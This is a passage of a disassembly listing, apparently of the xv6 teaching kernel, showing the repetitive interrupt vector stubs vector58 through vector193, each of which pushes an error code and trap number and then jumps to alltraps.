vector58: pushl $0 80106615: 6a 00 push $0x0 pushl $58 80106617: 6a 3a push $0x3a jmp alltraps 80106619: e9 39 f9 ff ff jmp 80105f57 <alltraps> 8010661e <vector59>: .globl vector59 vector59: pushl $0 8010661e: 6a 00 push $0x0 pushl $59 80106620: 6a 3b push $0x3b jmp alltraps 80106622: e9 30 f9 ff ff jmp 80105f57 <alltraps> 80106627 <vector60>: .globl vector60 vector60: pushl $0 80106627: 6a 00 push $0x0 pushl $60 80106629: 6a 3c push $0x3c jmp alltraps 8010662b: e9 27 f9 ff ff jmp 80105f57 <alltraps> 80106630 <vector61>: .globl vector61 vector61: pushl $0 80106630: 6a 00 push $0x0 pushl $61 80106632: 6a 3d push $0x3d jmp alltraps 80106634: e9 1e f9 ff ff jmp 80105f57 <alltraps> 80106639 <vector62>: .globl vector62 vector62: pushl $0 80106639: 6a 00 push $0x0 pushl $62 8010663b: 6a 3e push $0x3e jmp alltraps 8010663d: e9 15 f9 ff ff jmp 80105f57 <alltraps> 80106642 <vector63>: .globl vector63 vector63: pushl $0 80106642: 6a 00 push $0x0 pushl $63 80106644: 6a 3f push $0x3f jmp alltraps 80106646: e9 0c f9 ff ff jmp 80105f57 <alltraps> 8010664b <vector64>: .globl vector64 vector64: pushl $0 8010664b: 6a 00 push $0x0 pushl $64 8010664d: 6a 40 push $0x40 jmp alltraps 8010664f: e9 03 f9 ff ff jmp 80105f57 <alltraps> 80106654 <vector65>: .globl vector65 vector65: pushl $0 80106654: 6a 00 push $0x0 pushl $65 80106656: 6a 41 push $0x41 jmp alltraps 80106658: e9 fa f8 ff ff jmp 80105f57 <alltraps> 8010665d <vector66>: .globl vector66 vector66: pushl $0 8010665d: 6a 00 push $0x0 pushl $66 8010665f: 6a 42 push $0x42 jmp alltraps 80106661: e9 f1 f8 ff ff jmp 80105f57 <alltraps> 80106666 <vector67>: .globl vector67 vector67: pushl $0 80106666: 6a 00 push $0x0 pushl $67 80106668: 6a 43 push $0x43 jmp alltraps 8010666a: e9 e8 f8 ff ff jmp 80105f57 <alltraps> 8010666f <vector68>: .globl vector68 vector68: pushl $0 8010666f: 6a 00 push $0x0 pushl $68 80106671: 6a 44 push $0x44 jmp alltraps 80106673: e9 df f8 ff ff jmp 80105f57 <alltraps> 80106678 <vector69>: .globl vector69 vector69: pushl $0 80106678: 6a 00 push $0x0 pushl $69 8010667a: 6a 45 push $0x45 jmp alltraps 8010667c: e9 d6 f8 ff ff jmp 80105f57 <alltraps> 80106681 <vector70>: .globl vector70 vector70: pushl $0 80106681: 6a 00 push $0x0 pushl $70 80106683: 6a 46 push $0x46 jmp alltraps 80106685: e9 cd f8 ff ff jmp 80105f57 <alltraps> 8010668a <vector71>: .globl vector71 vector71: pushl $0 8010668a: 6a 00 push $0x0 pushl $71 8010668c: 6a 47 push $0x47 jmp alltraps 8010668e: e9 c4 f8 ff ff jmp 80105f57 <alltraps> 80106693 <vector72>: .globl vector72 vector72: pushl $0 80106693: 6a 00 push $0x0 pushl $72 80106695: 6a 48 push $0x48 jmp alltraps 80106697: e9 bb f8 ff ff jmp 80105f57 <alltraps> 8010669c <vector73>: .globl vector73 vector73: pushl $0 8010669c: 6a 00 push $0x0 pushl $73 8010669e: 6a 49 push $0x49 jmp alltraps 801066a0: e9 b2 f8 ff ff jmp 80105f57 <alltraps> 801066a5 <vector74>: .globl vector74 vector74: pushl $0 801066a5: 6a 00 push $0x0 pushl $74 801066a7: 6a 4a push $0x4a jmp alltraps 801066a9: e9 a9 f8 ff ff jmp 80105f57 <alltraps> 801066ae <vector75>: .globl vector75 vector75: pushl $0 801066ae: 6a 00 push $0x0 pushl $75 801066b0: 6a 4b push $0x4b jmp alltraps 801066b2: e9 a0 f8 ff ff jmp 80105f57 <alltraps> 801066b7 <vector76>: .globl vector76 vector76: pushl $0 801066b7: 6a 00 push $0x0 pushl $76 801066b9: 6a 4c push $0x4c jmp alltraps 801066bb: e9 97 f8 ff ff jmp 80105f57 <alltraps> 801066c0 <vector77>: .globl vector77 vector77: pushl $0 801066c0: 6a 00 push $0x0 pushl $77 801066c2: 6a 4d push $0x4d jmp alltraps 801066c4: e9 8e f8 ff ff jmp 80105f57 <alltraps> 801066c9 <vector78>: .globl vector78 vector78: pushl $0 801066c9: 6a 00 push $0x0 pushl $78 801066cb: 6a 4e push $0x4e jmp alltraps 801066cd: e9 85 f8 ff ff jmp 80105f57 <alltraps> 801066d2 <vector79>: .globl vector79 vector79: pushl $0 801066d2: 6a 00 push $0x0 pushl $79 801066d4: 6a 4f push $0x4f jmp alltraps 801066d6: e9 7c f8 ff ff jmp 80105f57 <alltraps> 801066db <vector80>: .globl vector80 vector80: pushl $0 801066db: 6a 00 push $0x0 pushl $80 801066dd: 6a 50 push $0x50 jmp alltraps 801066df: e9 73 f8 ff ff jmp 80105f57 <alltraps> 801066e4 <vector81>: .globl vector81 vector81: pushl $0 801066e4: 6a 00 push $0x0 pushl $81 801066e6: 6a 51 push $0x51 jmp alltraps 801066e8: e9 6a f8 ff ff jmp 80105f57 <alltraps> 801066ed <vector82>: .globl vector82 vector82: pushl $0 801066ed: 6a 00 push $0x0 pushl $82 801066ef: 6a 52 push $0x52 jmp alltraps 801066f1: e9 61 f8 ff ff jmp 80105f57 <alltraps> 801066f6 <vector83>: .globl vector83 vector83: pushl $0 801066f6: 6a 00 push $0x0 pushl $83 801066f8: 6a 53 push $0x53 jmp alltraps 801066fa: e9 58 f8 ff ff jmp 80105f57 <alltraps> 801066ff <vector84>: .globl vector84 vector84: pushl $0 801066ff: 6a 00 push $0x0 pushl $84 80106701: 6a 54 push $0x54 jmp alltraps 80106703: e9 4f f8 ff ff jmp 80105f57 <alltraps> 80106708 <vector85>: .globl vector85 vector85: pushl $0 80106708: 6a 00 push $0x0 pushl $85 8010670a: 6a 55 push $0x55 jmp alltraps 8010670c: e9 46 f8 ff ff jmp 80105f57 <alltraps> 80106711 <vector86>: .globl vector86 vector86: pushl $0 80106711: 6a 00 push $0x0 pushl $86 80106713: 6a 56 push $0x56 jmp alltraps 80106715: e9 3d f8 ff ff jmp 80105f57 <alltraps> 8010671a <vector87>: .globl vector87 vector87: pushl $0 8010671a: 6a 00 push $0x0 pushl $87 8010671c: 6a 57 push $0x57 jmp alltraps 8010671e: e9 34 f8 ff ff jmp 80105f57 <alltraps> 80106723 <vector88>: .globl vector88 vector88: pushl $0 80106723: 6a 00 push $0x0 pushl $88 80106725: 6a 58 push $0x58 jmp alltraps 80106727: e9 2b f8 ff ff jmp 80105f57 <alltraps> 8010672c <vector89>: .globl vector89 vector89: pushl $0 8010672c: 6a 00 push $0x0 pushl $89 8010672e: 6a 59 push $0x59 jmp alltraps 80106730: e9 22 f8 ff ff jmp 80105f57 <alltraps> 80106735 <vector90>: .globl vector90 vector90: pushl $0 80106735: 6a 00 push $0x0 pushl $90 80106737: 6a 5a push $0x5a jmp alltraps 80106739: e9 19 f8 ff ff jmp 80105f57 <alltraps> 8010673e <vector91>: .globl vector91 vector91: pushl $0 8010673e: 6a 00 push $0x0 pushl $91 80106740: 6a 5b push $0x5b jmp alltraps 80106742: e9 10 f8 ff ff jmp 80105f57 <alltraps> 80106747 <vector92>: .globl vector92 vector92: pushl $0 80106747: 6a 00 push $0x0 pushl $92 80106749: 6a 5c push $0x5c jmp alltraps 8010674b: e9 07 f8 ff ff jmp 80105f57 <alltraps> 80106750 <vector93>: .globl vector93 vector93: pushl $0 80106750: 6a 00 push $0x0 pushl $93 80106752: 6a 5d push $0x5d jmp alltraps 80106754: e9 fe f7 ff ff jmp 80105f57 <alltraps> 80106759 <vector94>: .globl vector94 vector94: pushl $0 80106759: 6a 00 push $0x0 pushl $94 8010675b: 6a 5e push $0x5e jmp alltraps 8010675d: e9 f5 f7 ff ff jmp 80105f57 <alltraps> 80106762 <vector95>: .globl vector95 vector95: pushl $0 80106762: 6a 00 push $0x0 pushl $95 80106764: 6a 5f push $0x5f jmp alltraps 80106766: e9 ec f7 ff ff jmp 80105f57 <alltraps> 8010676b <vector96>: .globl vector96 vector96: pushl $0 8010676b: 6a 00 push $0x0 pushl $96 8010676d: 6a 60 push $0x60 jmp alltraps 8010676f: e9 e3 f7 ff ff jmp 80105f57 <alltraps> 80106774 <vector97>: .globl vector97 vector97: pushl $0 80106774: 6a 00 push $0x0 pushl $97 80106776: 6a 61 push $0x61 jmp alltraps 80106778: e9 da f7 ff ff jmp 80105f57 <alltraps> 8010677d <vector98>: .globl vector98 vector98: pushl $0 8010677d: 6a 00 push $0x0 pushl $98 8010677f: 6a 62 push $0x62 jmp alltraps 80106781: e9 d1 f7 ff ff jmp 80105f57 <alltraps> 80106786 <vector99>: .globl vector99 vector99: pushl $0 80106786: 6a 00 push $0x0 pushl $99 80106788: 6a 63 push $0x63 jmp alltraps 8010678a: e9 c8 f7 ff ff jmp 80105f57 <alltraps> 8010678f <vector100>: .globl vector100 vector100: pushl $0 8010678f: 6a 00 push $0x0 pushl $100 80106791: 6a 64 push $0x64 jmp alltraps 80106793: e9 bf f7 ff ff jmp 80105f57 <alltraps> 80106798 <vector101>: .globl vector101 vector101: pushl $0 80106798: 6a 00 push $0x0 pushl $101 8010679a: 6a 65 push $0x65 jmp alltraps 8010679c: e9 b6 f7 ff ff jmp 80105f57 <alltraps> 801067a1 <vector102>: .globl vector102 vector102: pushl $0 801067a1: 6a 00 push $0x0 pushl $102 801067a3: 6a 66 push $0x66 jmp alltraps 801067a5: e9 ad f7 ff ff jmp 80105f57 <alltraps> 801067aa <vector103>: .globl vector103 vector103: pushl $0 801067aa: 6a 00 push $0x0 pushl $103 801067ac: 6a 67 push $0x67 jmp alltraps 801067ae: e9 a4 f7 ff ff jmp 80105f57 <alltraps> 801067b3 <vector104>: .globl vector104 vector104: pushl $0 801067b3: 6a 00 push $0x0 pushl $104 801067b5: 6a 68 push $0x68 jmp alltraps 801067b7: e9 9b f7 ff ff jmp 80105f57 <alltraps> 801067bc <vector105>: .globl vector105 vector105: pushl $0 801067bc: 6a 00 push $0x0 pushl $105 801067be: 6a 69 push $0x69 jmp alltraps 801067c0: e9 92 f7 ff ff jmp 80105f57 <alltraps> 801067c5 <vector106>: .globl vector106 vector106: pushl $0 801067c5: 6a 00 push $0x0 pushl $106 801067c7: 6a 6a push $0x6a jmp alltraps 801067c9: e9 89 f7 ff ff jmp 80105f57 <alltraps> 801067ce <vector107>: .globl vector107 vector107: pushl $0 801067ce: 6a 00 push $0x0 pushl $107 801067d0: 6a 6b push $0x6b jmp alltraps 801067d2: e9 80 f7 ff ff jmp 80105f57 <alltraps> 801067d7 <vector108>: .globl vector108 vector108: pushl $0 801067d7: 6a 00 push $0x0 pushl $108 801067d9: 6a 6c push $0x6c jmp alltraps 801067db: e9 77 f7 ff ff jmp 80105f57 <alltraps> 801067e0 <vector109>: .globl vector109 vector109: pushl $0 801067e0: 6a 00 push $0x0 pushl $109 801067e2: 6a 6d push $0x6d jmp alltraps 801067e4: e9 6e f7 ff ff jmp 80105f57 <alltraps> 801067e9 <vector110>: .globl vector110 vector110: pushl $0 801067e9: 6a 00 push $0x0 pushl $110 801067eb: 6a 6e push $0x6e jmp alltraps 801067ed: e9 65 f7 ff ff jmp 80105f57 <alltraps> 801067f2 <vector111>: .globl vector111 vector111: pushl $0 801067f2: 6a 00 push $0x0 pushl $111 801067f4: 6a 6f push $0x6f jmp alltraps 801067f6: e9 5c f7 ff ff jmp 80105f57 <alltraps> 801067fb <vector112>: .globl vector112 vector112: pushl $0 801067fb: 6a 00 push $0x0 pushl $112 801067fd: 6a 70 push $0x70 jmp alltraps 801067ff: e9 53 f7 ff ff jmp 80105f57 <alltraps> 80106804 <vector113>: .globl vector113 vector113: pushl $0 80106804: 6a 00 push $0x0 pushl $113 80106806: 6a 71 push $0x71 jmp alltraps 80106808: e9 4a f7 ff ff jmp 80105f57 <alltraps> 8010680d <vector114>: .globl vector114 vector114: pushl $0 8010680d: 6a 00 push $0x0 pushl $114 8010680f: 6a 72 push $0x72 jmp alltraps 80106811: e9 41 f7 ff ff jmp 80105f57 <alltraps> 80106816 <vector115>: .globl vector115 vector115: pushl $0 80106816: 6a 00 push $0x0 pushl $115 80106818: 6a 73 push $0x73 jmp alltraps 8010681a: e9 38 f7 ff ff jmp 80105f57 <alltraps> 8010681f <vector116>: .globl vector116 vector116: pushl $0 8010681f: 6a 00 push $0x0 pushl $116 80106821: 6a 74 push $0x74 jmp alltraps 80106823: e9 2f f7 ff ff jmp 80105f57 <alltraps> 80106828 <vector117>: .globl vector117 vector117: pushl $0 80106828: 6a 00 push $0x0 pushl $117 8010682a: 6a 75 push $0x75 jmp alltraps 8010682c: e9 26 f7 ff ff jmp 80105f57 <alltraps> 80106831 <vector118>: .globl vector118 vector118: pushl $0 80106831: 6a 00 push $0x0 pushl $118 80106833: 6a 76 push $0x76 jmp alltraps 80106835: e9 1d f7 ff ff jmp 80105f57 <alltraps> 8010683a <vector119>: .globl vector119 vector119: pushl $0 8010683a: 6a 00 push $0x0 pushl $119 8010683c: 6a 77 push $0x77 jmp alltraps 8010683e: e9 14 f7 ff ff jmp 80105f57 <alltraps> 80106843 <vector120>: .globl vector120 vector120: pushl $0 80106843: 6a 00 push $0x0 pushl $120 80106845: 6a 78 push $0x78 jmp alltraps 80106847: e9 0b f7 ff ff jmp 80105f57 <alltraps> 8010684c <vector121>: .globl vector121 vector121: pushl $0 8010684c: 6a 00 push $0x0 pushl $121 8010684e: 6a 79 push $0x79 jmp alltraps 80106850: e9 02 f7 ff ff jmp 80105f57 <alltraps> 80106855 <vector122>: .globl vector122 vector122: pushl $0 80106855: 6a 00 push $0x0 pushl $122 80106857: 6a 7a push $0x7a jmp alltraps 80106859: e9 f9 f6 ff ff jmp 80105f57 <alltraps> 8010685e <vector123>: .globl vector123 vector123: pushl $0 8010685e: 6a 00 push $0x0 pushl $123 80106860: 6a 7b push $0x7b jmp alltraps 80106862: e9 f0 f6 ff ff jmp 80105f57 <alltraps> 80106867 <vector124>: .globl vector124 vector124: pushl $0 80106867: 6a 00 push $0x0 pushl $124 80106869: 6a 7c push $0x7c jmp alltraps 8010686b: e9 e7 f6 ff ff jmp 80105f57 <alltraps> 80106870 <vector125>: .globl vector125 vector125: pushl $0 80106870: 6a 00 push $0x0 pushl $125 80106872: 6a 7d push $0x7d jmp alltraps 80106874: e9 de f6 ff ff jmp 80105f57 <alltraps> 80106879 <vector126>: .globl vector126 vector126: pushl $0 80106879: 6a 00 push $0x0 pushl $126 8010687b: 6a 7e push $0x7e jmp alltraps 8010687d: e9 d5 f6 ff ff jmp 80105f57 <alltraps> 80106882 <vector127>: .globl vector127 vector127: pushl $0 80106882: 6a 00 push $0x0 pushl $127 80106884: 6a 7f push $0x7f jmp alltraps 80106886: e9 cc f6 ff ff jmp 80105f57 <alltraps> 8010688b <vector128>: .globl vector128 vector128: pushl $0 8010688b: 6a 00 push $0x0 pushl $128 8010688d: 68 80 00 00 00 push $0x80 jmp alltraps 80106892: e9 c0 f6 ff ff jmp 80105f57 <alltraps> 80106897 <vector129>: .globl vector129 vector129: pushl $0 80106897: 6a 00 push $0x0 pushl $129 80106899: 68 81 00 00 00 push $0x81 jmp alltraps 8010689e: e9 b4 f6 ff ff jmp 80105f57 <alltraps> 801068a3 <vector130>: .globl vector130 vector130: pushl $0 801068a3: 6a 00 push $0x0 pushl $130 801068a5: 68 82 00 00 00 push $0x82 jmp alltraps 801068aa: e9 a8 f6 ff ff jmp 80105f57 <alltraps> 801068af <vector131>: .globl vector131 vector131: pushl $0 801068af: 6a 00 push $0x0 pushl $131 801068b1: 68 83 00 00 00 push $0x83 jmp alltraps 801068b6: e9 9c f6 ff ff jmp 80105f57 <alltraps> 801068bb <vector132>: .globl vector132 vector132: pushl $0 801068bb: 6a 00 push $0x0 pushl $132 801068bd: 68 84 00 00 00 push $0x84 jmp alltraps 801068c2: e9 90 f6 ff ff jmp 80105f57 <alltraps> 801068c7 <vector133>: .globl vector133 vector133: pushl $0 801068c7: 6a 00 push $0x0 pushl $133 801068c9: 68 85 00 00 00 push $0x85 jmp alltraps 801068ce: e9 84 f6 ff ff jmp 80105f57 <alltraps> 801068d3 <vector134>: .globl vector134 vector134: pushl $0 801068d3: 6a 00 push $0x0 pushl $134 801068d5: 68 86 00 00 00 push $0x86 jmp alltraps 801068da: e9 78 f6 ff ff jmp 80105f57 <alltraps> 801068df <vector135>: .globl vector135 vector135: pushl $0 801068df: 6a 00 push $0x0 pushl $135 801068e1: 68 87 00 00 00 push $0x87 jmp alltraps 801068e6: e9 6c f6 ff ff jmp 80105f57 <alltraps> 801068eb <vector136>: .globl vector136 vector136: pushl $0 801068eb: 6a 00 push $0x0 pushl $136 801068ed: 68 88 00 00 00 push $0x88 jmp alltraps 801068f2: e9 60 f6 ff ff jmp 80105f57 <alltraps> 801068f7 <vector137>: .globl vector137 vector137: pushl $0 801068f7: 6a 00 push $0x0 pushl $137 801068f9: 68 89 00 00 00 push $0x89 jmp alltraps 801068fe: e9 54 f6 ff ff jmp 80105f57 <alltraps> 80106903 <vector138>: .globl vector138 vector138: pushl $0 80106903: 6a 00 push $0x0 pushl $138 80106905: 68 8a 00 00 00 push $0x8a jmp alltraps 8010690a: e9 48 f6 ff ff jmp 80105f57 <alltraps> 8010690f <vector139>: .globl vector139 vector139: pushl $0 8010690f: 6a 00 push $0x0 pushl $139 80106911: 68 8b 00 00 00 push $0x8b jmp alltraps 80106916: e9 3c f6 ff ff jmp 80105f57 <alltraps> 8010691b <vector140>: .globl vector140 vector140: pushl $0 8010691b: 6a 00 push $0x0 pushl $140 8010691d: 68 8c 00 00 00 push $0x8c jmp alltraps 80106922: e9 30 f6 ff ff jmp 80105f57 <alltraps> 80106927 <vector141>: .globl vector141 vector141: pushl $0 80106927: 6a 00 push $0x0 pushl $141 80106929: 68 8d 00 00 00 push $0x8d jmp alltraps 8010692e: e9 24 f6 ff ff jmp 80105f57 <alltraps> 80106933 <vector142>: .globl vector142 vector142: pushl $0 80106933: 6a 00 push $0x0 pushl $142 80106935: 68 8e 00 00 00 push $0x8e jmp alltraps 8010693a: e9 18 f6 ff ff jmp 80105f57 <alltraps> 8010693f <vector143>: .globl vector143 vector143: pushl $0 8010693f: 6a 00 push $0x0 pushl $143 80106941: 68 8f 00 00 00 push $0x8f jmp alltraps 80106946: e9 0c f6 ff ff jmp 80105f57 <alltraps> 8010694b <vector144>: .globl vector144 vector144: pushl $0 8010694b: 6a 00 push $0x0 pushl $144 8010694d: 68 90 00 00 00 push $0x90 jmp alltraps 80106952: e9 00 f6 ff ff jmp 80105f57 <alltraps> 80106957 <vector145>: .globl vector145 vector145: pushl $0 80106957: 6a 00 push $0x0 pushl $145 80106959: 68 91 00 00 00 push $0x91 jmp alltraps 8010695e: e9 f4 f5 ff ff jmp 80105f57 <alltraps> 80106963 <vector146>: .globl vector146 vector146: pushl $0 80106963: 6a 00 push $0x0 pushl $146 80106965: 68 92 00 00 00 push $0x92 jmp alltraps 8010696a: e9 e8 f5 ff ff jmp 80105f57 <alltraps> 8010696f <vector147>: .globl vector147 vector147: pushl $0 8010696f: 6a 00 push $0x0 pushl $147 80106971: 68 93 00 00 00 push $0x93 jmp alltraps 80106976: e9 dc f5 ff ff jmp 80105f57 <alltraps> 8010697b <vector148>: .globl vector148 vector148: pushl $0 8010697b: 6a 00 push $0x0 pushl $148 8010697d: 68 94 00 00 00 push $0x94 jmp alltraps 80106982: e9 d0 f5 ff ff jmp 80105f57 <alltraps> 80106987 <vector149>: .globl vector149 vector149: pushl $0 80106987: 6a 00 push $0x0 pushl $149 80106989: 68 95 00 00 00 push $0x95 jmp alltraps 8010698e: e9 c4 f5 ff ff jmp 80105f57 <alltraps> 80106993 <vector150>: .globl vector150 vector150: pushl $0 80106993: 6a 00 push $0x0 pushl $150 80106995: 68 96 00 00 00 push $0x96 jmp alltraps 8010699a: e9 b8 f5 ff ff jmp 80105f57 <alltraps> 8010699f <vector151>: .globl vector151 vector151: pushl $0 8010699f: 6a 00 push $0x0 pushl $151 801069a1: 68 97 00 00 00 push $0x97 jmp alltraps 801069a6: e9 ac f5 ff ff jmp 80105f57 <alltraps> 801069ab <vector152>: .globl vector152 vector152: pushl $0 801069ab: 6a 00 push $0x0 pushl $152 801069ad: 68 98 00 00 00 push $0x98 jmp alltraps 801069b2: e9 a0 f5 ff ff jmp 80105f57 <alltraps> 801069b7 <vector153>: .globl vector153 vector153: pushl $0 801069b7: 6a 00 push $0x0 pushl $153 801069b9: 68 99 00 00 00 push $0x99 jmp alltraps 801069be: e9 94 f5 ff ff jmp 80105f57 <alltraps> 801069c3 <vector154>: .globl vector154 vector154: pushl $0 801069c3: 6a 00 push $0x0 pushl $154 801069c5: 68 9a 00 00 00 push $0x9a jmp alltraps 801069ca: e9 88 f5 ff ff jmp 80105f57 <alltraps> 801069cf <vector155>: .globl vector155 vector155: pushl $0 801069cf: 6a 00 push $0x0 pushl $155 801069d1: 68 9b 00 00 00 push $0x9b jmp alltraps 801069d6: e9 7c f5 ff ff jmp 80105f57 <alltraps> 801069db <vector156>: .globl vector156 vector156: pushl $0 801069db: 6a 00 push $0x0 pushl $156 801069dd: 68 9c 00 00 00 push $0x9c jmp alltraps 801069e2: e9 70 f5 ff ff jmp 80105f57 <alltraps> 801069e7 <vector157>: .globl vector157 vector157: pushl $0 801069e7: 6a 00 push $0x0 pushl $157 801069e9: 68 9d 00 00 00 push $0x9d jmp alltraps 801069ee: e9 64 f5 ff ff jmp 80105f57 <alltraps> 801069f3 <vector158>: .globl vector158 vector158: pushl $0 801069f3: 6a 00 push $0x0 pushl $158 801069f5: 68 9e 00 00 00 push $0x9e jmp alltraps 801069fa: e9 58 f5 ff ff jmp 80105f57 <alltraps> 801069ff <vector159>: .globl vector159 vector159: pushl $0 801069ff: 6a 00 push $0x0 pushl $159 80106a01: 68 9f 00 00 00 push $0x9f jmp alltraps 80106a06: e9 4c f5 ff ff jmp 80105f57 <alltraps> 80106a0b <vector160>: .globl vector160 vector160: pushl $0 80106a0b: 6a 00 push $0x0 pushl $160 80106a0d: 68 a0 00 00 00 push $0xa0 jmp alltraps 80106a12: e9 40 f5 ff ff jmp 80105f57 <alltraps> 80106a17 <vector161>: .globl vector161 vector161: pushl $0 80106a17: 6a 00 push $0x0 pushl $161 80106a19: 68 a1 00 00 00 push $0xa1 jmp alltraps 80106a1e: e9 34 f5 ff ff jmp 80105f57 <alltraps> 80106a23 <vector162>: .globl vector162 vector162: pushl $0 80106a23: 6a 00 push $0x0 pushl $162 80106a25: 68 a2 00 00 00 push $0xa2 jmp alltraps 80106a2a: e9 28 f5 ff ff jmp 80105f57 <alltraps> 80106a2f <vector163>: .globl vector163 vector163: pushl $0 80106a2f: 6a 00 push $0x0 pushl $163 80106a31: 68 a3 00 00 00 push $0xa3 jmp alltraps 80106a36: e9 1c f5 ff ff jmp 80105f57 <alltraps> 80106a3b <vector164>: .globl vector164 vector164: pushl $0 80106a3b: 6a 00 push $0x0 pushl $164 80106a3d: 68 a4 00 00 00 push $0xa4 jmp alltraps 80106a42: e9 10 f5 ff ff jmp 80105f57 <alltraps> 80106a47 <vector165>: .globl vector165 vector165: pushl $0 80106a47: 6a 00 push $0x0 pushl $165 80106a49: 68 a5 00 00 00 push $0xa5 jmp alltraps 80106a4e: e9 04 f5 ff ff jmp 80105f57 <alltraps> 80106a53 <vector166>: .globl vector166 vector166: pushl $0 80106a53: 6a 00 push $0x0 pushl $166 80106a55: 68 a6 00 00 00 push $0xa6 jmp alltraps 80106a5a: e9 f8 f4 ff ff jmp 80105f57 <alltraps> 80106a5f <vector167>: .globl vector167 vector167: pushl $0 80106a5f: 6a 00 push $0x0 pushl $167 80106a61: 68 a7 00 00 00 push $0xa7 jmp alltraps 80106a66: e9 ec f4 ff ff jmp 80105f57 <alltraps> 80106a6b <vector168>: .globl vector168 vector168: pushl $0 80106a6b: 6a 00 push $0x0 pushl $168 80106a6d: 68 a8 00 00 00 push $0xa8 jmp alltraps 80106a72: e9 e0 f4 ff ff jmp 80105f57 <alltraps> 80106a77 <vector169>: .globl vector169 vector169: pushl $0 80106a77: 6a 00 push $0x0 pushl $169 80106a79: 68 a9 00 00 00 push $0xa9 jmp alltraps 80106a7e: e9 d4 f4 ff ff jmp 80105f57 <alltraps> 80106a83 <vector170>: .globl vector170 vector170: pushl $0 80106a83: 6a 00 push $0x0 pushl $170 80106a85: 68 aa 00 00 00 push $0xaa jmp alltraps 80106a8a: e9 c8 f4 ff ff jmp 80105f57 <alltraps> 80106a8f <vector171>: .globl vector171 vector171: pushl $0 80106a8f: 6a 00 push $0x0 pushl $171 80106a91: 68 ab 00 00 00 push $0xab jmp alltraps 80106a96: e9 bc f4 ff ff jmp 80105f57 <alltraps> 80106a9b <vector172>: .globl vector172 vector172: pushl $0 80106a9b: 6a 00 push $0x0 pushl $172 80106a9d: 68 ac 00 00 00 push $0xac jmp alltraps 80106aa2: e9 b0 f4 ff ff jmp 80105f57 <alltraps> 80106aa7 <vector173>: .globl vector173 vector173: pushl $0 80106aa7: 6a 00 push $0x0 pushl $173 80106aa9: 68 ad 00 00 00 push $0xad jmp alltraps 80106aae: e9 a4 f4 ff ff jmp 80105f57 <alltraps> 80106ab3 <vector174>: .globl vector174 vector174: pushl $0 80106ab3: 6a 00 push $0x0 pushl $174 80106ab5: 68 ae 00 00 00 push $0xae jmp alltraps 80106aba: e9 98 f4 ff ff jmp 80105f57 <alltraps> 80106abf <vector175>: .globl vector175 vector175: pushl $0 80106abf: 6a 00 push $0x0 pushl $175 80106ac1: 68 af 00 00 00 push $0xaf jmp alltraps 80106ac6: e9 8c f4 ff ff jmp 80105f57 <alltraps> 80106acb <vector176>: .globl vector176 vector176: pushl $0 80106acb: 6a 00 push $0x0 pushl $176 80106acd: 68 b0 00 00 00 push $0xb0 jmp alltraps 80106ad2: e9 80 f4 ff ff jmp 80105f57 <alltraps> 80106ad7 <vector177>: .globl vector177 vector177: pushl $0 80106ad7: 6a 00 push $0x0 pushl $177 80106ad9: 68 b1 00 00 00 push $0xb1 jmp alltraps 80106ade: e9 74 f4 ff ff jmp 80105f57 <alltraps> 80106ae3 <vector178>: .globl vector178 vector178: pushl $0 80106ae3: 6a 00 push $0x0 pushl $178 80106ae5: 68 b2 00 00 00 push $0xb2 jmp alltraps 80106aea: e9 68 f4 ff ff jmp 80105f57 <alltraps> 80106aef <vector179>: .globl vector179 vector179: pushl $0 80106aef: 6a 00 push $0x0 pushl $179 80106af1: 68 b3 00 00 00 push $0xb3 jmp alltraps 80106af6: e9 5c f4 ff ff jmp 80105f57 <alltraps> 80106afb <vector180>: .globl vector180 vector180: pushl $0 80106afb: 6a 00 push $0x0 pushl $180 80106afd: 68 b4 00 00 00 push $0xb4 jmp alltraps 80106b02: e9 50 f4 ff ff jmp 80105f57 <alltraps> 80106b07 <vector181>: .globl vector181 vector181: pushl $0 80106b07: 6a 00 push $0x0 pushl $181 80106b09: 68 b5 00 00 00 push $0xb5 jmp alltraps 80106b0e: e9 44 f4 ff ff jmp 80105f57 <alltraps> 80106b13 <vector182>: .globl vector182 vector182: pushl $0 80106b13: 6a 00 push $0x0 pushl $182 80106b15: 68 b6 00 00 00 push $0xb6 jmp alltraps 80106b1a: e9 38 f4 ff ff jmp 80105f57 <alltraps> 80106b1f <vector183>: .globl vector183 vector183: pushl $0 80106b1f: 6a 00 push $0x0 pushl $183 80106b21: 68 b7 00 00 00 push $0xb7 jmp alltraps 80106b26: e9 2c f4 ff ff jmp 80105f57 <alltraps> 80106b2b <vector184>: .globl vector184 vector184: pushl $0 80106b2b: 6a 00 push $0x0 pushl $184 80106b2d: 68 b8 00 00 00 push $0xb8 jmp alltraps 80106b32: e9 20 f4 ff ff jmp 80105f57 <alltraps> 80106b37 <vector185>: .globl vector185 vector185: pushl $0 80106b37: 6a 00 push $0x0 pushl $185 80106b39: 68 b9 00 00 00 push $0xb9 jmp alltraps 80106b3e: e9 14 f4 ff ff jmp 80105f57 <alltraps> 80106b43 <vector186>: .globl vector186 vector186: pushl $0 80106b43: 6a 00 push $0x0 pushl $186 80106b45: 68 ba 00 00 00 push $0xba jmp alltraps 80106b4a: e9 08 f4 ff ff jmp 80105f57 <alltraps> 80106b4f <vector187>: .globl vector187 vector187: pushl $0 80106b4f: 6a 00 push $0x0 pushl $187 80106b51: 68 bb 00 00 00 push $0xbb jmp alltraps 80106b56: e9 fc f3 ff ff jmp 80105f57 <alltraps> 80106b5b <vector188>: .globl vector188 vector188: pushl $0 80106b5b: 6a 00 push $0x0 pushl $188 80106b5d: 68 bc 00 00 00 push $0xbc jmp alltraps 80106b62: e9 f0 f3 ff ff jmp 80105f57 <alltraps> 80106b67 <vector189>: .globl vector189 vector189: pushl $0 80106b67: 6a 00 push $0x0 pushl $189 80106b69: 68 bd 00 00 00 push $0xbd jmp alltraps 80106b6e: e9 e4 f3 ff ff jmp 80105f57 <alltraps> 80106b73 <vector190>: .globl vector190 vector190: pushl $0 80106b73: 6a 00 push $0x0 pushl $190 80106b75: 68 be 00 00 00 push $0xbe jmp alltraps 80106b7a: e9 d8 f3 ff ff jmp 80105f57 <alltraps> 80106b7f <vector191>: .globl vector191 vector191: pushl $0 80106b7f: 6a 00 push $0x0 pushl $191 80106b81: 68 bf 00 00 00 push $0xbf jmp alltraps 80106b86: e9 cc f3 ff ff jmp 80105f57 <alltraps> 80106b8b <vector192>: .globl vector192 vector192: pushl $0 80106b8b: 6a 00 push $0x0 pushl $192 80106b8d: 68 c0 00 00 00 push $0xc0 jmp alltraps 80106b92: e9 c0 f3 ff ff jmp 80105f57 <alltraps> 80106b97 <vector193>: .globl vector193 vector193: pushl $0 80106b97: 6a 00 push $0x0 pushl $193 